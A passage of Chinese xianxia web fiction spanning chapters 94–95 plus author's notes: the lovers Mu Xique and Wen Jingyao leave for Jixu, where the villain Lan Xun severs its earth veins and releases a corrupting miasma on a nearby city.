闻惊遥便又放缓,耐心地磨,将人吊得不上不下,慕二小姐又恼火了,恶狠狠瞪他:“你故意的是吧!” “夕阙,不想出去。”闻惊遥说话总老老实实,俯身啄吻她的唇。 他这半生罕见的坏和私欲全都给了这个占据他全数生命的人,从有记忆开始便结识的慕二小姐,她的存在坚定了他的道心,让他也明确了自己的道。 慕夕阙只觉得今晚上他格外能折腾,在汤泉里没完没了,她搂住他的脖颈,咬在他的肩头,齿关下的肩膀陡然紧绷。 “放不下就、就别放下。”慕夕阙说话磕绊,眉头锁成一团,“混账,混账闻惊遥,我做鬼都不放过你。” 少年吻上她的唇,锁住了她还未骂完的话。 汤泉里的水凉了,略有些冷,与之一同降下的,是两人的体温。 慕夕阙的额头仍抵着他的肩头,她明明体力甚好,可今日不知为何,兴许是这在身上晃悠的泉水太过沉了,她只觉得疲乏如山倒,将她压得喘不过气。 两个* 人安安静静,少年轻拍她的脊背,就好似在哄她一般。 慕夕阙突然低声说:“好累,我好累。” 慕夕阙闭上眼,闻到少年身上交杂的馥郁浓香和他原本清淡的雪竹香,混在一起成了别样的气味,她的一手搭在他的右肩,掌心之下是一道尚未褪去的疤痕,那是她留下的疤。 她又说了一遍:“我真的太累了。” 可他清楚她真正指的是什么,闻惊遥抱紧她,埋进她的颈窝,他亲去她锁骨间聚起的水珠,神智清醒。 “夕阙,很快了。” 闻惊遥抬起头,捧起她的脸,看到她眼尾的晶莹,长睫垂下,他俯身在她额头落个吻。 “不会再累了,不会再疼了。” 轩窗半开,月光自外落进来,散落的帷帐遮住寝殿的主榻内,两人面对面侧躺。 东浔一到这时候便是多雨,大多是牛毛般的小雨,偶尔会下大雨。 慕夕阙枕着他的胳膊,听到外头又传来了淅沥的声音,她闭着眼说道:“好像又落雨了。” 闻惊遥替她拉了拉锦被,盖住肩头以下,一手穿过她柔软的长发:“过几日就天晴了。” 慕夕阙笑了笑:“这次能晴几日?” “能晴好多日。”闻惊遥道。 “好吧,信你一次。”慕夕阙朝他的怀里去,双手揽过他的腰身,“我已经和阿娘说过了,后日我们去祭墟。” 闻惊遥抬手揉了揉她的发,喉结滚动,应声道:“好。” 慕夕阙问他:“你会后悔吗?” 闻惊遥温声道:“不会的。” 慕夕阙在他怀里仰起头:“你知道我问的是什么吗?” “知道。”闻惊遥俯身啄吻她的唇角,“天谴并不可怕,夕阙,什么都得不到、守不住,才更可怕,能再次见到十七岁的你,能再次见到青鸾、见到爹娘、见到这尚未毁灭的一切,我便不后悔。” 慕夕阙抬手戳戳他的鼻梁:“当年在云川外我们说的话,还真是一语成谶。” ——闻惊遥,为虎作伥,你真的不怕遭报应吗? ——我等着它来劈我。 这下还真是要劈到他头上了。 慕夕阙摇摇头,埋进他的怀里,叹息道:“你这人可真讨厌。” 闻惊遥抱紧她,他的心跳在她耳畔,两人的温度交织在一起。 “夕阙,你也要记得,那时候头也不回地走,带着慕家、带着闻家、带着你在乎的所有人离开,不要管我,不要回头看我。” 慕夕阙闭上眼懒洋洋道:“这你就放心吧,我可不会为你把我的命搭上。” “那就好,夕阙。”闻惊遥亲亲她的发丝,声音极尽的柔,“你这样,我才能放心。” 作者有话说:宝宝们,请三天假哦,下次更新应该在周三晚上或者周四白天,最后一段剧情了,还有大概两三万字,会有点难写,打算自己存完一次性发出来,方便随时修文保证收尾,更新时候发红包~ 放心不是跑路,这两天有更新提示的话是我在修文,精修一下前文的感情线,可能笔力不够,我一旦重剧情就容易忽略感情线,感情线就会显得单薄,也有在努力复盘自己的问题,这两天存稿时候会稍微润色精修一下,改动大的话会在对应目录写上“修”~ 第94章 第 94 章 支援 定州方家遭祟种夜袭的三日后, 凌南陆家也遭祟难,此后是沅湘周家……短短半月,十三个城池遭遇祟种夜袭。 “大小姐, 如今多个家族城池遭遇祟种攻击,这种情况下咱们自顾不暇, 怎么能往淞溪家派遣兵力?” 两鬓斑白的师家长老一拍桌案, 横眉怒驳,瞧师盈虚的眼神越发像是在看一个纨绔般,恨铁不成钢。 师盈虚孤身坐在桌案前, 对面乌泱泱几十人,全是比她年长几轮的师家长老。 她仰头看过去:“琼筵山是大阵阵心,既然慕家已经告知十三州了, 这种情况下, 又怎能只顾自己, 更应该去淞溪支援。” “可若是去淞溪, 师家谁来守?”一人拍案站起。 “大小姐, 你才疏学浅,幼时顽劣,师家虽落在你手里了, 但你要学的东西还不少,如今不是胡闹逞义气的时候!” “琼筵山是大阵中心又怎样了, 如今各个世家都忙着自己, 你见有多少世家出兵镇守琼筵山了?那祟种还不一定攻去那里呢,有金龙坐镇, 又岂能用得到咱们!” …… 说什么的都有,师盈虚坐着,那些长老将她围了一圈, 有人赞同,有人沉默,也有人指着她的鼻子骂,这些人的唾沫星子仿佛要将她淹死。 师盈虚搁在桌上的拳头攥紧,无端觉得这些人的面目都可憎起来,她回来取师家镇铃之时也是撑着一股气,吓退了这些长老们。 可如今她拿出当时的气势,却无法吓退这些长老,此次灾难已经波及到了师家。 师盈虚忽然站起身:“都给我闭嘴——” 话还未说完,紧闭的轩门被从外轰开,日头洒进来,众人回身看去,一个脊背佝偻、白发苍颜的老者从外走进,他单手背在身后,气势凛然,不怒自威。 众人忙拱手:“老家主。” 师盈虚也垂首行礼:“祖父。” 师老家主并未理会这些长老,而是看向师盈虚:“派兵去守琼筵山是否是慕二小姐托你办的事?” 师盈虚赶忙否认:“夕阙从未开过口!她未曾向我请求援助。” 师老家主目光矍铄,并未回话,仍看着师盈虚,他不说话师家便无人敢开口。 师盈虚垂眸,低声道:“阿娘之前告诉过我,鹤阶这样的宗门鼠目寸光,自私自利,必不长久,师家要想走远便不能只顾自己,如今既已知晓琼筵山是阵心,那么大家休戚与共,又怎能坐视不理?” 师老家主问:“可大多家族并不管这件事。” 师盈虚抬眸看他:“他们不管,若是人人都不管,待祟种攻了琼筵山,届时想管都管不得了!” 她的眉眼坚韧,虽仍有稚气,却好似褪去了过去的顽劣,变得稳当起来。 师老家主纵使佝偻脊背,年岁几百,可执掌师家多年的威严以及身为大能的威压,也足以将师盈虚看得脊背发寒。 师盈虚咬紧牙关,对这个没见过几面的祖父虽然敬佩,但更畏惧,可纵使心里再过恐慌,却仍未错开目光,直勾勾与之对视。 师老家主忽然笑了,花白的胡须一颤一颤,他的笑声并不开朗,更显沉闷,摇了摇头道:“你有几分能担得起师家的样子了。” 师盈虚一愣,看师老家主转身,面朝那些怂的跟鹌鹑一样的长老们。 “派遣五成兵力,去守琼筵山。” “可是——”有长老不死心,仍试图反抗,话只开了个头,师老家主眯了眯眼看过去,在外叱咤的长老立马闭嘴。 末了,只能拱手行礼:“是。” 长老们散去,师盈虚看着年迈的祖父,爹娘死去,她又年幼,只能去请早已闭关的祖父出山,这位正冲渡劫的大能半分未犹豫,贸然出关,多年闭关毁于一旦。 师老家主长叹一声,又背着手往外走,边走边说:“我仍要去镇守祭墟,你既然有自己的想法,那便去做吧。” 师盈虚拱手行礼:“多谢祖父。” 她安静待在空无一人的议事堂内,听见有师家长老在调遣弟子,待人都出发前往淞溪,已是半个时辰后的事。 师盈虚出门站在院内,仰头望向高处。 一艘艘灵舟拔地而起,隐匿在云雾中,去往淞溪琼筵山的方向。 师盈虚听到身后有脚步声传来,她并未回头。 徐无咎站在她身侧,仰头望向高处,说道:“我从倦天涯内取了些兵器,已分发给那些弟子。” 师盈虚颔首:“多谢。” 还是第一次听到她道谢,徐无咎眉梢微扬,略显诧异,侧首看了眼师盈虚,见她神情沉重。 “已有几个家族派兵去了琼筵山,至于鹤阶仅剩的那些长老和弟子,目前暂无动静,守在那座空城并未出来,暂无家族出来替鹤阶说话。” 师盈虚嗤了一声:“原先还跳脚诬陷夕阙和闻少主,自打慕家将鹤阶背后那主子的身份公之于众后,我瞧这些被人牵着鼻子走的世家们都老实了,连鹤阶的边都不敢沾。” 徐无咎道:“趋利避害罢了,如今兰洵作孽多端,鹤阶助其谋戮玉灵是大罪,大势已去,百姓们因着近些时日的祟难对兰洵恨之入骨,连带着他手下的鹤阶也一同憎恨,这些世族们自然选择保全自己,我瞧着兰洵应也弃了鹤阶。” 或者说,兰洵从一开始便只拿鹤阶当个趁手的兵器罢了。 师盈虚仍皱着眉头。 徐无咎沉默片刻,开口说道:“事在人为,尽力便好,至于最后结局如何,便交给天吧。”- 收到朝蕴的传信,告知她已说服慕家长老后,慕夕阙和闻惊遥便打算启程了。 慕夕阙折好信,拆下发髻上的金簪,也并未佩戴闻惊遥送的玉簪,她随手扎了个马尾,换上利落的劲装,衣裳仍是张扬的红。 她打开门,闻惊遥站在院内。 他今日去了雾璋山,此番刚从山上下来,两人隔着院子对视,慕夕阙顺手关上主殿的门,拾阶而下。 “你去祭拜了闻家主,还去看了青鸾,是吗?” 闻惊遥颔首:“嗯。” 慕夕阙说道:“琼筵山外已经有二十余个世家来守了,我娘也已传信,她说服了慕家的长老们。” 闻惊遥问道:“朝家主如何说服的?” 这绝非易事,说服慕家长老放弃琼筵山,让这座山崩裂,太过疯狂,有一丝差错整个慕家便是导致这片大陆迎来灭世之灾的间接凶手。 因此朝蕴用了足足一月的时间,才传来了这封信。 “我们的计划太过疯狂,慕家绝大多数长老仍坚持保守对策,后来我阿娘见实在说不通,便提了我爹的刀站在大殿门前。”慕夕阙说到这里忽然笑起来,像是看见朝蕴信上描述的场面。 “我阿娘说,谁不同意就逐出慕家,她说到做到,那些长老能有什么办法,毕竟是金龙都点头了的对策。” 慕家长老信的不是朝蕴,不是慕夕阙和闻惊遥,而是金龙。 慕夕阙走到闻惊遥身前:“你确定不去最后见一眼庄家主?” 闻惊遥垂眸道:“我去了,阿娘外出了,不在闻家主宅。” 沉默片刻,慕夕阙颔首:“好,我知晓了。” 灵舟停在闻家主宅外,知道天谴的人并不多,在这些闻家弟子眼里,自家少主只是作为天罡篆之主,和十二辰之主同去祭墟捉人,此去凶险,但仍有生还几率,就如过去那般,祭墟动荡,神器之主会前去镇压。 慕夕阙和闻惊遥上了灵舟,灵舟驶向虚空,穿梭在云雾之中,两人坐在窗边,垂眸看向灵舟下方渐行渐远的闻家主宅,直到这偌大主城都缩小成一个圆点,彻底消失不见。 目送灵舟消失后,闻家弟子回头,瞧见个不该出现在这里的人。 “……家主?” 庄漪禾素来整洁,如今却好似一夜未歇,双目通红,两手交叠在身前,却狠狠揪在一起,她望向早已离开的灵舟,手里握着个玉牌。 那是闻家另一半的家主玉牌,过去闻承禺交给了闻惊遥,如今被闻惊遥放在了家主殿中。 与之一同搁置在家主殿中的,还有一封辞别信,字字都是在说他的不孝,以及叮嘱庄漪禾日后要照顾好自己,切莫因他这个不孝子而难过太久。 弟子们噤声,见庄漪禾的腰身慢慢弓起,越来越弯,直到一声压抑的呜咽溢出,弟子们才发觉……家主在哭。 灵舟早已消失在云层。 闻惊遥垂眸不语,船舱内便只有两人。 “海外仙岛和十三州始终未发现兰洵的踪迹,他仍在祭墟内。”慕夕阙淡声开口,“他在等我们去找他。” 闻惊遥颔首:“是。” 慕夕阙又道:“当年几大世家共同围剿,兰洵应当未死,不是说尸身落海了吗,那就是几大世家根本没见到尸身,唯一见到的是陈夫人的胞妹,传言是她收敛的尸身,并在兰洵身上拽走了那半封信。” 闻惊遥道:“玄武告诉我,九千年前,从流霞湖的上游飘来两个重伤的老者,玄武觉察出他们身上有极强的福泽之气,便赠予了他们两枚背甲疗伤,做坏事会积累业障,救人也会累积福泽,两人当年引一只渡劫祟种进了杀阵,除祟有功,为自己积累了福泽。” “那两枚背甲为这两个老者带来了长寿,他们应是被兰洵追杀,后来便隐姓埋名并未再回家,或许连妻子孩子都顾不上,陈家村是约莫两千年前出现的,我猜那兄弟两人那七千年里隐姓埋名,是两千年前觉察出兰洵已多年未有动静才敢出没。” 慕夕阙身子后仰,靠进木椅之中:“阿宥的母亲告诉我,他们虽姓陈,但祖辈与这两个老者并无血缘关系,是这兄弟两个定居在那里,有逃难的孤儿逃去那里被其收留,便尊其一声义父。随了陈姓。” 灵翠谷陈家确实是这兄弟两个的后代,两人当年被陈知韫的胞妹带走隐姓埋名,长大后娶妻生子,直到暮年之时,踪迹暴露被兰洵追杀,却又意外为玄武所救。 有长寿之力的玄武赠予两枚背甲,这两枚背甲却助兄弟两个长寿至此,兄弟两个不敢回陈家,担心为家人引去祸患,于是躲了几千年,估摸着以为兰洵沉寂多年应是死了,才敢冒出头在一个偏远的渔村做起了这摆渡的活。 慕夕阙单手屈起,轻敲木桌,她沉思的时候便有许多小习惯,总爱听点声响。 “兰洵消失的那几千年里,怕是不止在找寻那些神兽的踪迹,以他的实力可以直接灭几个城池,杀几个并不强大的玉灵为陈夫人汲取福泽,可他销声匿迹到过去几千年都未有半分记载……这么强大的一个人,这几千年在哪里呢,能躲过所有人的耳目?” 闻惊遥抬眸看她,慕夕阙也在此刻抬起头,两人双目对视,从小长大的默契让他们异口同声回答。 “祭墟。” 半晌后,慕夕阙望向窗外,云雾缭绕,十三州的一座座城池在灵舟下迅速后退。 “或许我们的猜测没错。” 微凉的风透过窗扫进来,如今已快日落,霞光隐在群山之后,灵鸟绕山齐飞,这些天来的祟难并未影响这些鸟兽。 慕夕阙喃喃道:“闻惊遥,要天黑了。” 闻惊遥循着她的目光看去,回道:“会再亮的。”- 狂化的海兽们已被清缴,这些海兽还会再次出现,这是这片海域的生态平衡,白日海归渔民,夜晚海归海兽们。 可最起码百年内,这片海生不出来海兽。 渔民们可以在晚上出海,日头落下之时,越疏棠收到了慕夕阙的传信。 彼时她正在监管百姓们修山,这两座崩裂的山不建好,两只玉灵便没有栖息之地。 越疏棠站在岸边,看着眼前这座被修到一半,已摞起千丈高的山沉默。 迟笙低声道:“这两座山底下压的有秽毒,可朱雀和鲲出山后,秽毒没有出现啊……” 越疏棠道:“慕二小姐说了,琼筵山才是阵心,只要琼筵山不崩,这阵法便不会碎裂,秽毒仍被压制。” “玉灵们为何不告知我们?” “当年的大能们与玉灵们共同立下了契约,不得告知任何契约人,随着那时的先辈们死去,这阵法的存在也会一同抹去,无人会再知晓。” 迟笙缄默片刻,又道:“慕二小姐已去祭墟,她要我们带领修士全数归岛戒严,是因为马上要出事了吗?” 越疏棠沉默不语。 迟笙又道:“可是那些祟种都在十三州,中间隔了个祭墟,祟种并不会出现在海外仙岛,我们要戒严什么呢?” 她年纪尚小,看不懂慕夕阙的意思,可越疏棠十几岁便已在影杀混出名头,经历的事这般多,自然能看懂慕夕阙话外的含义。 越疏棠转身,朝着远处正在带领百姓们修缮山峰的修士们走去,海风吹来,飘来的是她低沉到几乎听不清的声音。 “若是祭墟崩了,那祟种和秽毒就能过来了。” 迟笙愣住,看着远处越走越远的越疏棠。 她低声自言自语:“……我们到底做错了什么?” 可他们什么都没做错,万年前一些人的错,却给这片大陆带来了再一次的灭顶之灾。 作者有话说:今天一次性更完啦,还有四章~ 第95章 第 95 章 破碎 “嘶, 真冷啊。” 失去了玄武的城池在两月内便成为空城,大寒来临,天灾不断, 雪已经积累到小腿深。 一个栖霞谷顾家的弟子搓了搓胳膊,艰难行走在雪堆中, 仰头望向远处早已崩塌的浮重山。 他的身前身后都是人, 兰洵的身份被公之于众,鹤阶助其谋戮玉灵的事也已惹得上千万的百姓愤懑,鹤阶大势已去, 这些曾经被鹤阶极尽打压的门派结成共识,前来镇压鹤阶余孽。 身旁一个千川城的弟子嘀咕道:“自打两月前纪挽春他们在海外仙岛殒没后,鹤阶便再未有人外出, 也不知这些弟子长老不跑, 在里头干什么呢?” “听闻那姓兰的当年闯鹤阶打服所有人后, 给他们都下了毒, 因此这些人格外听他的话, 上至长老下至弟子,对那兰洵毕恭毕敬。” “不过两个神器之主并未开口要咱们前来清缴鹤阶余孽,咱们此番也未与诸世家商议, 便贸然前来镇压鹤阶,是否有些过于草率呢?” 有人笑呵呵道:“你可知道如今鹤阶便是个香饽饽, 那几千万的百姓们恨不得生啖其肉, 若能缉拿镇压鹤阶者便是有大功,等此灾难过后, 十三州定要重新整顿,那些延绵万年的世家们兴许也得换一轮了。” 又有人附和道:“得民心者得天下,当年鹤阶和慕家不也是靠着除祟有功才坐稳高位, 同理,这也是咱们这些小门派跻身上位的机会。” “这等功事,怎能太多人知晓,几月前慕家重创,闻家也损失大半兵力,那慕、闻两家怕是也想独揽镇压鹤阶的功,等这大难过去,两个快要衰落的世家才能坐稳位置。” 雪地有将近几千人,他们奉家族之命,躲过慕闻两家的封禁,偷偷潜入这座空城,自打玄武走后,鹤阶一直守在这片雪地中,长期大寒会令修士根骨受损,鹤阶早已不是这些世家的对手。 几个家族的弟子们迈着坚定的步伐,将及膝的雪踩平,朝着未亮一烛的鹤阶走去。 越是靠近,弟子们便越是觉得森寒,不断有人搓胳膊。 “嘶,怎么一灯都不点,总不能没落到连灯都点不起吧?” “奇怪,你们没有觉得很冷吗,像是有股阴气。” “你可闭嘴吧,别吓人,如今可是深夜。” 姓顾的弟子听着周身来自各个家族的弟子们斗嘴,他并不觉得好笑,刺骨的冷连灵力屏障都能穿过,真的接触到失去玉灵后的天灾,他才明白玉灵对一座城到底多么重要。 终于走到鹤阶门前了,从墙外往里看,尚能瞧见那尊尚未被落石波及的白鹤神像,鹤首高扬,脖颈修长。 为首的弟子抬手竖起,示意身后的弟子们停下。 随后修为高的修士率先踹开紧闭的大门,冲进去上百人,是这次清缴行动中修为最高的人。 姓顾的弟子年岁并不大,修为也不高,此番前来只是被选中凑数的,他裹了裹棉服试图抵御这骨穿心的阴冷。 可为首的弟子们进去已经一刻钟,却还未放出信号,等在外头的人开始焦躁。 有人提议:“……进去看看?” 一阵寒风吹来,裹起满地的落雪,这些雪不如正常落下的雪松软,由天灾带来的雪更显坚硬,且森寒刺骨。 姓顾的弟子更觉寒冷,他仰头,随着霜白的雪飘来的,还有浓重的血气,以及—— 黑影跃出高墙,灰白的眼睛令人胆寒。 “是、是祟种!”- 当灵舟落地在祭墟外,慕夕阙和闻惊遥下舟,瞧见远处不计可数的修士们。 这些见一面堪比登天的大能们负责带领弟子镇守祭墟,守的不仅是秽毒,更是里头的兰洵,一个渡劫修士,一个有满腔算计的邪修。 修为最高的是师老家主,师盈虚的祖父,已入大乘境。 慕夕阙和闻惊遥拱手行礼:“见过老家主。” 师老家主镇守祭墟已有两月,还未见过这两个小辈,只从旁人口中听说过慕二小姐和闻家少爷,两个十三州公认的天纵奇才。 他说道:“礼数便不必了,你二人修为才化神境,确定要进祭墟?” 慕夕阙颔首:“他多日不出,不就在等我们进去?” “既知是陷阱,还要进?”师老家主瞳眸微眯,似不理解两个才十来岁的小辈到底是不知天高地厚,还是已有对策。 闻惊遥道:“还请师老家主放心。” 两个当事人都不怕,他们这些人的担忧便显得多余,师老家主摇摇头,说道:“那便进去吧,我和这些长老便守在外头,长期这么僵持也不是个事。” 两人拱手行礼:“有劳老家主。” 祭墟外有百根天柱,自打知晓任风煦失踪后,十三州便以为任风煦会对祭墟出手,于是火急火燎派人来守祭墟,谁料兰洵这人实在难懂,竟然让任风煦去攻了云川牢狱。 那么多羁押的罪人失踪,个个修为不低,若化祟便是大灾,因此这些长老仍守着祭墟外,防止攻了祭墟。 众人望着慕夕阙和闻惊遥纵身跃进祭墟,两个年纪不大的修士,却手持能令整片大陆震动的神器。 师老家主叹气,盘腿席地坐下,沉声道:“便等着吧,兰洵也在等今日了。” 他仰头望天,今夜连星光都瞧不见,整个天际一片昏沉。 而祭墟内,慕夕阙和闻惊遥再次回到这个去过不少次的地方,前世到后期,他们几乎隔一两年便得来一次,镇压祭墟的次数太过频繁,以至于两个神器很快便掏空了两个高境修士的寿数。 慕夕阙望着眼前这满是秽毒的地方,这么多的秽毒,竟然也只是这片大陆的三成秽毒罢了,其余七成,全数镇压在群山之下。 虚空中有声轻笑传来,那声音极轻,却又能明显听出是兰洵的笑声,这般轻佻嘲讽的笑意,只有他。 两道身影如流光般冲出,一瞬百里,奔走在满是秽毒的崎岖路上,呼啸冲来的秽毒皆被神器之力阻隔在外,他们的速度快到极致,循着笑声传来的方向冲去。 剑光劈开秽毒,蜿蜒咆哮朝他们冲来,慕夕阙和闻惊遥同时侧躲,向左右两侧跃出百丈,而那道迎面劈来的剑光在他们中间炸开,将地面崩裂出足以露出地脉的深坑。 连秽毒都不敢靠近了。 慕夕阙和闻惊遥仰头,虚空中一人悬空而立,几月未见,兰洵的伤已全数养好,渡劫满境的气压能摧山震海。 他仍戴着陈知韫的獬豸面具,知晓这面具是谁的,又象征着什么,慕夕阙和闻惊遥才发觉,兰洵似乎每次戴着面具出现都是来杀人的。 对他而言,戴上妻子的獬豸面具去杀人,便是在替陈知韫讨回公道。 兰洵垂眸看着两人,歪了歪脑袋:“我知道你们会来,如今外界多数世家都派兵去了琼筵山,怕是你们已经知晓这阵法的事了吧?” 慕夕阙握紧手中的剑,闻惊遥也看着兰洵。 兰洵目光冷淡:“我只是很好奇,两个十几岁的修士,到底是怎么知道这么多事情的,你们每一步都走在我意料之外。” 这是他活了这万年来最为难解的事情。 他在祭墟思前想后,不眠不休地想,最终,只能得到一个近乎荒谬的猜测。 “慕夕阙,你是不是真的活过一次?” 慕夕阙面无表情看着他。 兰洵佐证了自己的猜测,他忽然笑出声,悬停在虚空中,越笑声音越大,连带着黑衣衣摆摇摇晃晃,伴着祭墟内的红光,竟有些诡异得骇人。 兰洵的瞳仁较之常人不同,是浅淡的苍灰色,陈知韫过去最喜欢的眼睛,如今充血赤红,他看着慕夕阙,仿佛在看一个灭了他满门的仇人般,切骨的恨。 “十二辰不仅能敛骨吹魂,还能回溯时间是吗?九大世家围杀我还不够,得知我出没在海外仙岛后,慕念蓁一路追来海外仙岛要杀我,拼着最后一口气为我下了禁制,即使我不死,若我动十二辰之主便尸骨无存!” 慕夕阙和闻惊遥面容平静,他们先前的猜测果然为真。 “从海外仙岛回去后,慕念蓁献祭神魂给了十二辰,联合百只玉灵布下这大阵,金龙坐镇阵心,怕是她也没想到,两次杀我都没杀成吧!” 兰洵仿佛气到极致,单手扬起,长剑在掌心转了个圈,慕夕阙只觉得眼前一花,下一瞬,他的剑连带着他这个人便出现在眼前。 “夕阙!” 慕夕阙侧身避开,几乎擦着兰洵的剑身躲过这一招,纵使已反应敏捷,仍被他的剑在胳膊上划出了道深可见骨的伤。 闻惊遥已瞬移上前,拽住慕夕阙的胳膊后退上百丈。 兰洵的剑光又再次逼来。 “她明知道可以回溯!她为什么放任我夫人死去,知韫当慕念蓁是最好的朋友,她是替慕念蓁执掌淞溪刑罚才出事的,最该救她的人不是慕念蓁吗!” 化神修士和渡劫修士,果真是霄壤之别,慕夕阙和闻惊遥攻守有序,杀招敏锐,可短短几息功夫,已被暴怒的兰洵伤了几次。 兰洵将对慕念蓁的怨气转移到慕夕阙身上,几乎追着她打,纵使闻惊遥阻拦,可猝不及防间,兰洵还是一掌打在慕夕阙肩头。 闻惊遥瞬移至她身后,两人一同撞出,少年搂住她的腰撑剑站定。 慕夕阙呕出一口血,抬眸朝兰洵看过去:“我们老祖并不知道十二辰可以涅槃回溯,此事只有玄武知晓,它没有告知你,也不会告知你罢了。” “是吗?”兰洵忽然拔地冲向虚空,居高临下看着慕夕阙和闻惊遥。 “所以这些玉灵该死啊。” 随着他的抬手,自他为中心,祭墟崎岖的地表晃动,深红色的泥土之中,千根回环曲折的金脉逐渐浮现,攀枝错节,那些金色脉路像是一根根跳动的血管般,流淌的血液为赤金色。 慕夕阙没见过地脉,可闻惊遥见过。 “夕阙,这是祭墟的地脉。” 那一刻他和慕夕阙忽然明白了,兰洵用上几千年的时间到底都在做什么。 他绝大多数时间都在祭墟内,用他的脚丈量这有万丈宽的祭墟,找出一根根地脉,耐心将它们剥离出来,这便是祭墟这万年来隔上几百年便会动荡一次的缘由。 在所有人为了祭墟奔波,常年有修士镇守祭墟外,历任神器之主用牺牲寿数为代价镇压祭墟时,这祭墟里头有个疯子在剥离地脉,令地表撼动,竖立在祭墟外的天柱不稳。 天罡篆掌管地方八极,能轻易切断任何一个地方的地脉,但能切断地脉的并不只有天罡篆,修到一定地步,连玉灵都能戮杀,剥离一个地方的地脉,只是时间问题。 兰洵手中出现了一把硕大的刀影,刀身凛然,遮天蔽日,从天劈下朝地脉斩去。 慕夕阙和闻惊遥从地面拔地冲上,两人祭出十二辰和天罡篆,两道光影抵挡在那柄硕刀之下。 祭墟外的人已经守了三日,慕夕阙和闻惊遥也进去了三日。 第三日,镇守祭墟外的师老家主忽然睁眼,双目厉然看向祭墟,冷声道:“结阵!” 上千弟子井然有序凝结阵法,可也已然来不及,百根天柱剧烈摇晃,它们竖立的地内似乎松动,以至于这百根天柱无法直立,竟朝一侧倒去。 几十位大能同时跃上虚空,单手凝出锁链,捆缚一根天柱,其余弟子上百人为一队用灵链拉住剩余的天柱。 可这些天柱又岂是人修能拉住的,顷刻间便有弟子被倒塌的天柱拽进祭墟内,或随着天柱一同砸在万丈高空下。 有人隔空艰难厉吼:“老家主,慕二小姐和闻少主什么情况,祭墟怎会塌成这般!” 师老家主并未回话,一人拉住两根天柱,他的脚步踉跄,双手被灵链磨得满是血水,眉心紧蹙,望着诡谲深邃的祭墟。 慕夕阙和闻惊遥并非冲动之人,敢进祭墟应当有准备,可如今他们不* 过才进去三日,祭墟外的天柱便全数动荡,这俨然是要倾倒之势。 纵使祭墟内只有三成秽毒,可若是倾巢而出,这附近万里的十座城池便会立刻遭殃。 “撑住,切不能让秽毒出来!”师老家主高声厉喝,想要拉起将倒的两根天柱,可任他调动自己毕生灵力,竭力想要阻止天柱倾倒,却也只是拖慢了这些天柱倾倒的速度罢了。 一根又一根灵链断裂,师老家主已到这个岁数和境界,便是得知独子和儿媳同时身死,也不过叹了口气便决然出关镇守师家,已多少年未有胆战心惊之际。 可如今,他看着两根灵链在自己手中断裂,高入云霄的天柱已决然之势朝一侧倒下,祭墟上空的红光瞬间消散,而里头镇压的秽毒倾巢而出。 他跌落在将要塌陷的地面,望着虚空中漫天的黑雾,颓然闭上了眼。 最终,也只是长长叹了口气,随后他猛地睁眼,前去掠走将要跌进裂缝的弟子们,诸位大能跟在他身后,将那些快被退拽进祭墟,欲要跌进塌陷地面的弟子们带走。 有人从祭墟中破空而出,兰洵垂眸望着万丈高空下仓皇奔走的身影,并未理会这些在他眼中只是蝼蚁的存在。 他望向身后塌陷祭墟,切断祭墟的地脉,地表塌陷,这些天柱便没法再伫立下去,任慕夕阙和闻惊遥动用了十二辰和天罡篆,也只是徒劳。 兰洵皱眉,方才在祭墟内慕夕阙和闻惊遥确实竭力阻止他切断地脉,可两个十来岁的化神境修士对上一个活了万年、掠夺了无数福泽的渡劫修士,境界之差堪比鸿沟。 兰洵静心感知祭墟内,已觉察不出灵力波动,里头只有秽毒,并未有神器和生灵的气息,两个人修手持两个掏空灵力的神器,落进这满是秽毒的祭墟,便只有思路一条,这么多的秽毒会吞了他们。 他只是不理解,慕夕阙和闻惊遥此番前来,竟真只打算硬碰硬吗,还是两人确实不知他有能轻易崩裂祭墟的办法? 兰洵在外又等了将近半个时辰,早已塌成废墟的祭墟中并未有人出来,也未有灵力波动。 他嗤了一声,无论慕夕阙和闻惊遥到底是真死了,还是背地里阴着他,祭墟已塌,秽毒出现,那么现在只需要再攻了琼筵山便可。 兰洵望向远处的琼筵山,一道流光奔向那座最高的山。 最强大的玉灵栖息于最高的山,镇守着这片大陆的中心,也压着这足以覆灭整片大陆的杀阵。 祭墟附近几万里内,有十座城池。 最近的一座小城名唤落南川,里头镇守的宗门姓宛,家主名唤宛簌。 于百姓们而言,近些时日的祟难虽有耳闻,可他们居住偏僻,祟种尚未攻到面前,祟难对这些百姓们也只是饭后闲谈,他们白日仍维持正常生活,日出而作日入而息。 夜深,百姓们便要休息。 妇人刚为孩子盖上棉被,正欲吹灭火烛,却瞧见蜡台正细微摇晃。 她愣了一下,只有几息功夫,连带着整张桌子都在晃…… 不,是她踩着的地面在晃。 妇人惊恐抱起孩子,推了推刚歇下的丈夫:“快醒醒,出事了!” 街上已有不少人奔出,虚空中一个个急速飞过的修士们冲向城内的山,事发突然,这些修士连衣裳都来不及穿戴整齐,有些甚至只穿着单薄的寝衣,披头散发,只来得及拿上武器。 宛簌急匆匆走来,早已恭候的长老赶忙上前:“家主,灵清山……灵清山在晃!是当康异动!” 玉灵异动,便是灾祸来临。 宛簌冲向虚空,她已臻至化神满境,一目百里,望向远处,只瞧见天际中一团夹杂了红色暗光的黑雾朝他们冲来。 想过是祟种,一只祟种虽可以屠戮一座小城,就算是几只祟种也不至于让当康异动,玉灵是不会贸然出山的。 他们这些修士以性命相搏,也能撑到安顿百姓,支援来临。 可来的不是祟种。 “是秽毒!”宛簌冲下高空,厉声道,“结阵,结阵!” 可秽毒是有灵识的,它们会寻找血肉冲向有人的地方,寻找可以感染寄生的修士将其变为祟种,而没有灵根的百姓们会被其视为养料,吞噬其血肉神魂来滋养自身。 秽毒的速度又岂是这些修士能比得过的,长老弟子慌忙结阵,阵法还未来得及笼罩整座城池,秽毒便已经冲到了城池上空,呼啸着朝街上的修士和百姓们冲去。 宛簌目眦欲裂,作为家主她必须以身抵挡,她瞬移至众人之前,银霜长剑挥出骇然剑光,裹挟霜花冲去。 秽毒撞碎她的剑光,波荡的威压将宛簌砸出甚远,重重撞在墙上。 “家主!” 宛簌呕出一口血,捂着心口望向朝突破修士结界朝人群冲去的秽毒。 她的瞳眸颤抖,那一刻她甚至想拔剑自刎,一个化神境的修士若感染秽毒化为祟种,对这片大陆是个极难拔除的灾祸,索性在尚未被秽毒侵染前便自戕。 可她的身后又有十几万的百姓们,她又怎能放弃他们? 宛簌迅速起身,比她更快抵达百姓面前的,是一方从灵清山中挥出的灵力屏障。 那屏障眨眼间将整座城围起,秽毒凶狠撞击在屏障之上,砸出一个个凹洞,修士们立刻反应过来,飞身上前以灵力支撑结界。 